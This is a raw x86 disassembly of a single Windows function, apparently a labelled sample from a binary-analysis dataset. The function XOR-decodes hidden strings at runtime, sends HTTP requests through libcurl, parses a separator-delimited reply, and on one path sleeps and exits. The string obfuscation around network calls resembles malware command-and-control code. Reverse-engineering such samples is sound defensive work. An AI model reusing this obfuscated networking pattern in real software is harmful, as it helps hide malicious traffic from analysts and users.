Function at 0x4097d0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x462f3c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x338
mov eax, dword [0x47b040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebx + 8]
mov dword [ebp - 0x308], eax
lea eax, [ebp - 0x2e0]
push eax
call fcn.0040bab0
mov dword [ebp - 0x318], eax
cmp dword [eax + 0x14], 0xf
jbe 0x40983c
mov eax, dword [eax]
mov dword [ebp - 0x318], eax
cmp dword [esi + 0x2c], 0xf
lea eax, [esi + 0x18]
mov dword [ebp - 0x314], eax
jbe 0x409853
mov eax, dword [eax]
mov dword [ebp - 0x314], eax
cmp dword [esi + 0x5c], 0xf
lea eax, [esi + 0x48]
mov dword [ebp - 0x310], eax
jbe 0x40986a
mov eax, dword [eax]
mov dword [ebp - 0x310], eax
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 0x30c], esi
jbe 0x40987e
mov eax, dword [esi]
mov dword [ebp - 0x30c], eax
cmp dword [esi + 0x44], 0xf
lea eax, [esi + 0x30]
mov ecx, 0x12
mov dword [ebp - 0x300], eax
mov esi, 0x46d538
lea edi, [ebp - 0x68]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jbe 0x4098a7
mov eax, dword [eax]
mov dword [ebp - 0x300], eax
movaps xmm4, xmmword [0x475170]
xor edx, edx
cmp dword [0x53d9f0], 2
movaps xmm5, xmmword [0x4750c0]
movaps xmm3, xmmword [0x475500]
movaps xmm6, xmmword [0x475110]
movaps xmm0, xmmword [0x4751d0]
mov dword [ebp - 0x304], edx
jl 0x4099e0
movaps xmmword [ebp - 0x2b0], xmm0
lea eax, [edx + 4]
mov ecx, dword [ebp - 0x2b0]
nop
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x6c]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x6c], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x68]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x68], xmm2
add eax, 8
cmp eax, 0x4c
jl 0x4098f0
mov dword [ebp - 0x304], edx
cmp edx, 0x4b
jge 0x409a1a
nop dword [eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x304]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x304]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x68], cl
inc edx
mov dword [ebp - 0x304], edx
cmp edx, 0x4b
jl 0x4099e0
push dword [ebp - 0x318]
lea eax, [ebp - 0x68]
push dword [ebp - 0x314]
push dword [ebx + 0xc]
push dword [ebp - 0x310]
push dword [ebp - 0x30c]
push dword [ebp - 0x300]
push eax
lea eax, [ebp - 0x298]
push eax
call fcn.004139d0
mov ecx, dword [ebp - 0x2cc]
add esp, 0x20
cmp ecx, 0xf
jbe 0x409a8a
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409a80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x409a80
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004617c7
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x2b8], 0
movups xmmword [ebp - 0x2c8], xmm0
mov dword [ebp - 0x2b4], 0xf
mov byte [ebp - 0x2c8], 0
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], 0
call fcn.004606e0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x2f8]
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x310], ecx
cmp eax, ecx
je 0x409f88
mov edi, dword [sym.imp.libcurl.dll_curl_easy_setopt]
nop dword [eax + eax]
push eax
lea ecx, [ebp - 0x2e0]
call fcn.00412010
mov byte [ebp - 4], 2
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov esi, eax
test esi, esi
je 0x409f2f
push 0x78
push 0xd
push esi
call edi
push 0
push 0x40
push esi
call edi
push 2
push 0x51
push esi
call edi
lea eax, [ebp - 0x298]
push eax
push 0x271f
push esi
call edi
push 1
push 0x2f
push esi
call edi
push 0x45f770
push 0x4e2b
push esi
call edi
add esp, 0x48
lea eax, [ebp - 0x2c8]
push eax
push 0x2711
push esi
call edi
movups xmm0, xmmword [0x46d524]
add esp, 0xc
lea eax, [ebp - 0x2e0]
cmp dword [ebp - 0x2cc], 0xf
movups xmmword [ebp - 0x330], xmm0
cmova eax, dword [ebp - 0x2e0]
cmp byte [0x46d537], 0
mov dword [ebp - 0x300], eax
mov eax, dword [0x46d534]
mov dword [ebp - 0x320], eax
je 0x409d2d
xor edx, edx
cmp dword [0x53d9f0], 2
mov dword [ebp - 0x304], edx
jl 0x409cf0
movaps xmm0, xmmword [0x4751d0]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x475500]
movaps xmm4, xmmword [0x475170]
movaps xmm5, xmmword [0x4750c0]
movaps xmm6, xmmword [0x475110]
movaps xmmword [ebp - 0x2b0], xmm0
mov ecx, dword [ebp - 0x2b0]
nop word [eax + eax]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x334]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x334], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x330]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x330], xmm2
add eax, 8
cmp eax, 0x14
jl 0x409bf0
mov dword [ebp - 0x304], edx
cmp edx, 0x14
jge 0x409d2d
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x304]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x304]
movsx eax, al
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x330], cl
inc edx
mov dword [ebp - 0x304], edx
cmp edx, 0x14
jl 0x409cf0
push dword [ebp - 0x300]
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00413990
lea eax, [ebp - 0x98]
push eax
push 0x2712
push esi
call edi
movups xmm0, xmmword [0x468e3c]
add esp, 0x18
lea edx, [ebp - 0x2e0]
cmp dword [ebp - 0x2cc], 0xf
movups xmmword [ebp - 0x33c], xmm0
mov dword [ebp - 0x300], edx
movups xmm0, xmmword [0x468e4c]
movups xmmword [ebp - 0x32c], xmm0
jbe 0x409d95
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x300], eax
mov al, byte [0x468e5c]
xor ecx, ecx
cmp dword [0x53d9f0], 2
mov byte [ebp - 0x31c], al
jl 0x409ed4
movaps xmm0, xmmword [0x4751d0]
lea eax, [ecx + 4]
movaps xmm3, xmmword [0x475500]
movaps xmm4, xmmword [0x475170]
movaps xmm5, xmmword [0x4750c0]
movaps xmm6, xmmword [0x475110]
movaps xmmword [ebp - 0x2b0], xmm0
mov edx, dword [ebp - 0x2b0]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x340]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x340], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x33c]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x33c], xmm2
add eax, 8
cmp eax, 0x24
jl 0x409de2
cmp ecx, 0x21
jge 0x409f01
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x3a
sub dl, al
add dl, 0x33
xor byte [ebp + ecx - 0x33c], dl
inc ecx
cmp ecx, 0x21
jl 0x409ed4
push dword [ebp - 0x300]
lea eax, [ebp - 0x33c]
push eax
call fcn.00404fa0
push esi
call dword [sym.imp.libcurl.dll_curl_easy_perform]
add esp, 0xc
test eax, eax
je 0x40a102
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
add esp, 4
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0xf
jbe 0x409f6d
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x409f63
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409a7a
push ecx
push edx
call fcn.004617c7
add esp, 8
mov eax, dword [ebp - 0x30c]
add eax, 0x18
mov dword [ebp - 0x30c], eax
cmp eax, dword [ebp - 0x310]
jne 0x409af0
lea ecx, [ebp - 0x2fc]
call fcn.004125e0
movups xmm0, xmmword [0x468d20]
xor edx, edx
cmp dword [0x53d9f0], 2
mov dword [ebp - 0x300], edx
movups xmmword [ebp - 0x2f0], xmm0
movups xmm0, xmmword [0x468d30]
movups xmmword [ebp - 0x2e0], xmm0
movq xmm0, qword [0x468d40]
movq qword [ebp - 0x2d0], xmm0
jl 0x40a5c0
movaps xmm0, xmmword [0x4751d0]
lea eax, [edx + 4]
movaps xmm3, xmmword [0x475500]
xor ecx, ecx
movaps xmm4, xmmword [0x475170]
movaps xmm5, xmmword [0x4750c0]
movaps xmm6, xmmword [0x475110]
movaps xmmword [ebp - 0x2b0], xmm0
mov edx, dword [ebp - 0x2b0]
nop dword [eax]
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x2f4]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x2f4], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x2f0]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x2f0], xmm2
add eax, 8
cmp eax, 0x2c
jl 0x40a010
jmp 0x40a5f0
cmp dword [ebp - 0x2b8], 0
jne 0x40a2b1
lea eax, [ebp - 0x330]
push eax
call fcn.0040a620
mov edi, eax
cmp byte [edi + 0x13], 0
je 0x40a295
xor ecx, ecx
cmp dword [0x53d9f0], 2
mov dword [ebp - 0x308], ecx
jl 0x40a260
movaps xmm0, xmmword [0x4751d0]
lea eax, [ecx + 4]
movaps xmm3, xmmword [0x475500]
movaps xmm4, xmmword [0x475170]
movaps xmm5, xmmword [0x4750c0]
movaps xmm6, xmmword [0x475110]
movaps xmmword [ebp - 0x2b0], xmm0
mov edx, dword [ebp - 0x2b0]
nop
movd xmm0, ecx
add ecx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [eax + edi - 4]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [eax + edi - 4], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [eax + edi]
xorps xmm2, xmm0
movd dword [eax + edi], xmm2
add eax, 8
cmp eax, 0x14
jl 0x40a170
mov dword [ebp - 0x308], ecx
cmp ecx, 0x14
jge 0x40a295
nop word [eax + eax]
mov eax, 0x8d3dcb09
lea esi, [ecx + edi]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [esi], cl
mov ecx, dword [ebp - 0x308]
inc ecx
mov dword [ebp - 0x308], ecx
cmp ecx, 0x14
jl 0x40a260
push edi
call fcn.00404fa0
add esp, 4
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub esp, 0x18
mov dword [ebp - 0x2a4], 0
mov ecx, esp
mov dword [ebp - 0x300], esp
xorps xmm0, xmm0
movq qword [ebp - 0x2ac], xmm0
push 8
movups xmmword [ecx], xmm0
push str._WS_SEP_
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00401b80
sub esp, 0x18
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2c8]
mov ecx, esp
push eax
call fcn.00412010
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 2
call fcn.004106f0
add esp, 0x30
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2ac]
sub eax, ecx
sub eax, 0x30
cmp eax, 0x18
jae 0x40a4c1
mov edi, dword [ebp - 0x2b8]
sub edi, dword [ecx + 0x10]
add edi, 8
push edi
call fcn.00461b29
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0x2ac]
add eax, 0x18
mov dword [ebp - 0x310], ecx
cmp dword [eax + 0x14], 0xf
jbe 0x40a361
mov eax, dword [eax]
push edi
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov esi, dword [ebp - 0x2ac]
add esp, 0x10
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 0x30c], eax
jbe 0x40a38d
mov esi, dword [esi]
mov dword [eax], 0
lea eax, [ebp - 0x300]
push 0xa
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
mov dword [ebp - 0x314], eax
cmp esi, dword [ebp - 0x300]
jne 0x40a3bf
push str.invalid_stoi_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
mov eax, dword [ebp - 0x30c]
cmp dword [eax], 0x22
jne 0x40a3d5
push str.stoi_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov ecx, dword [ebp - 0x310]
mov edx, edi
call fcn.0045f840
mov edx, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x314]
mov dword [edx], ecx
lea ecx, [ebp - 0x2ac]
mov dword [edx + 4], edi
mov dword [edx + 8], eax
call fcn.004125e0
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0xf
jbe 0x40a43b
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a431
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a5b9
push ecx
push edx
call fcn.004617c7
add esp, 8
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0xf
mov byte [ebp - 0x2e0], 0
call fcn.004125e0
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x40a49b
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a491
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a5b9
push ecx
push edx
call fcn.004617c7
add esp, 8
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00461666
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
push dword [ebp - 0x2b8]
call fcn.00461b29
cmp dword [ebp - 0x2b4], 0xf
mov edi, eax
push dword [ebp - 0x2b8]
lea eax, [ebp - 0x2c8]
cmova eax, dword [ebp - 0x2c8]
push eax
push edi
call sub.VCRUNTIME140.dll_memcpy
push esi
call dword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov esi, dword [ebp - 0x2b8]
add esp, 0x14
mov edx, esi
mov ecx, edi
call fcn.0045f840
mov ecx, dword [ebp - 0x308]
mov dword [ecx], 0
mov dword [ecx + 4], esi
mov dword [ecx + 8], eax
lea ecx, [ebp - 0x2ac]
call fcn.004125e0
mov ecx, dword [ebp - 0x2cc]
cmp ecx, 0xf
jbe 0x40a55b
mov edx, dword [ebp - 0x2e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a551
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a5b9
push ecx
push edx
call fcn.004617c7
add esp, 8
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0xf
mov byte [ebp - 0x2e0], 0
call fcn.004125e0
mov ecx, dword [ebp - 0x2b4]
cmp ecx, 0xf
jbe 0x40a49b
mov edx, dword [ebp - 0x2c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40a491
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40a491
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
mov edx, dword [ebp - 0x300]
mov cl, dl
imul eax, eax, 0x3a
sub cl, al
add cl, 0x33
xor byte [ebp + edx - 0x2f0], cl
inc edx
mov dword [ebp - 0x300], edx
cmp edx, 0x28
jl 0x40a5c0
lea eax, [ebp - 0x2f0]
push eax
call fcn.00404fa0
mov ecx, dword [ebp - 0x308]
add esp, 4
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
jmp 0x40a581